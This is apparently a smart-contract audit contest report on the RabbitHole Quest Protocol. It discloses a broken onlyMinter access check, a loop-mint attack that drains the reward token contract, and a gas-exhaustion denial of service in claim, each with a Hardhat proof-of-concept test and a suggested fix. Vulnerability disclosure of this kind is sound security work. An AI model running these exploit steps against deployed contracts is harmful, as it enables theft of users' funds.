RabbitHole Quest Protocol contest - UdarTeam's results

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L58-L61 https://github.com/rabbitholegg/quest-protocol/blob/36261511d52dddc757e225324c2c19a3e0a3c3cb/contracts/RabbitHoleTickets.sol#L47-L50

Vulnerability details

Impact

onlyMinter modifier in RabbitHoleReceipt.sol and RabbitHoleTickets.sol implements wrong minterAddress check.

mint, mintBatch and mint can be called by anyone which breaks protocol's access logic.

Proof of Concept

Add a new test case in test/RabbitHoleReceipt.spec.ts file.

it('bypass onlyMinter modifier', async () => {
    const signers = await ethers.getSigners();
    await RHReceipt.setMinterAddress(signers[7].address);

    await RHReceipt.connect(signers[9]).mint(signers[9].address, '1337nft')

    expect(await RHReceipt.balanceOf(signers[9].address)).to.eq(1)
    expect(await RHReceipt.questIdForTokenId(1)).to.eq('1337nft')
})

Tools Used

Hardhat

Recommended Mitigation Steps

Require function should be added to correctly check the minter's address.

modifier onlyMinter() {
    require(msg.sender == minterAddress);
    _;
}

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L58-L61 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Quest.sol#L96-L118

Vulnerability details

Impact

onlyMinter modifier in RabbitHoleReceipt.sol is implemented incorrectly. According to protocol's logic a user can call mintReceipt function to mint one token for every quest. Any user can mint unlimited amount of tokens in RabbitHoleReceipt.sol contract and therefore drain whole balance of Reward contract which address is held in rewardToken state variable in Quest.sol contract.

Attack scenario

1. Quest creator deploys a ERC20 Reward contract with some initial supply.
2. Then he calls createQuest function from QuestFactory.sol to create a new Erc20Quest contract.
3. Then he calls start function from Erc20Quest.sol to start the quest. This function checks if Reward contract has enough balance, according to passed paramaters in createQuest function.
4. The attackers calls mint function from RabbitHoleReceipt.sol contract unlimited times** with same address and questId. ** He should be careful to not run out of gas, because claim function from Quest.sol contract loops over the tokens. This can be easily bypassed with different addresses controlled by the same person.
5. Then the attacker calls claim function from Quest.sol to get the rewards. He can calculate the gas amount limit for looping over the tokens and therefore drain whole initial supply from ERC20 Reward contract with one/many account/s.

Proof of Concept

Add a new test case in test/Erc20Quest.spec.ts file.

it('should drain rewardToken contract with random address', async () => {
    const signers = await ethers.getSigners();
    const attacker = signers[15];

    // Quest contract owner starts the quest
    // Reward contract's initial supply is: totalRewardsPlusFee * 100
    // totalRewardsPlusFee = 60_030
    // Initial supply value: 60_030 * 100 = 6_003_000
    await deployedQuestContract.start()
    await ethers.provider.send('evm_increaseTime', [86400])

    // Attacker mints 10 tokens to his address, bypassing onlyMinter modifier
    for (let i = 0; i < 1000; ++i) {
      await deployedRabbitholeReceiptContract.connect(attacker).mint(attacker.address, questId)
    }

    const totalTokens = await deployedRabbitholeReceiptContract.getOwnedTokenIdsOfQuest(questId, attacker.address)
    expect(totalTokens.length).to.equal(1000)

    // Initially the attacker doesn't have any tokens, because he didn't execute claim() yet
    expect(await deployedSampleErc20Contract.balanceOf(attacker.address)).to.equal(0)

    // One account can mint ~1_000 tokens. If it is more than that, claim() function will be running out of gas
    // Gets 1000 reward amount for every token. 1_000 tokens = 1_000_000 reward amount per account
    await deployedQuestContract.connect(attacker).claim()
    expect(await deployedSampleErc20Contract.balanceOf(attacker.address)).to.equal(rewardAmount * 1_000)
})

Tools Used

Hardhat

Recommended Mitigation Steps

Require function should be added to correctly check the minter's address.

modifier onlyMinter() {
    require(msg.sender == minterAddress);
    _;
}

Judge has assessed an item in Issue #117 as 2 risk. The relevant finding follows:

Description If a single address has certain amount of RabbitHoleReceipt tokens (receipts) - according to tests ~1050, when he tries to call claim function from Quest.sol it will always revert with 'Transaction ran out of gas' error. The reason for the error is that claim function loops over user's all tokens.

uint[] memory tokens = rabbitHoleReceiptContract.getOwnedTokenIdsOfQuest(questId, msg.sender); ... for (uint i = 0; i < tokens.length; i++) { if (!isClaimed(tokens[i])) { redeemableTokenCount++; } } PoC Add a new test case in test/Erc20Quest.spec.ts file.

it('user can DoS himself (claim function)', async () => { const signers = await ethers.getSigners(); const seller = signers[9] const buyer = signers[10];

await deployedQuestContract.start()
await ethers.provider.send('evm_increaseTime', [86400])

// Ignore below function. It represents 1050 tokens from different users.
for (let i = 0; i < 1050; ++i) {
  await deployedRabbitholeReceiptContract.connect(seller).mint(seller.address, questId)
}

const totalTokens = await deployedRabbitholeReceiptContract.getOwnedTokenIdsOfQuest(questId, seller.address);

// Assume buyer gets 1050 tokens from different users, not one
for (let i = 0; i < totalTokens.length; ++i) {
  await deployedRabbitholeReceiptContract.connect(seller).transferFrom(seller.address, buyer.address, totalTokens[i]);
}

// Now buyer has 1050 tokens
// He calls claim to get the rewards, but function reverts with `Transaction ran out of gas` error everytime
await deployedQuestContract.connect(buyer).claim()

}) Mitigation Steps The user can always generate a new address and transfer some of the funds there. But if he has many tokens (> 10000), he should manage dozen accounts which can be become difficult and time consuming. Better approach is to add maximum token claim amount as function parameter or to check tokens array length to not exceed certain amount.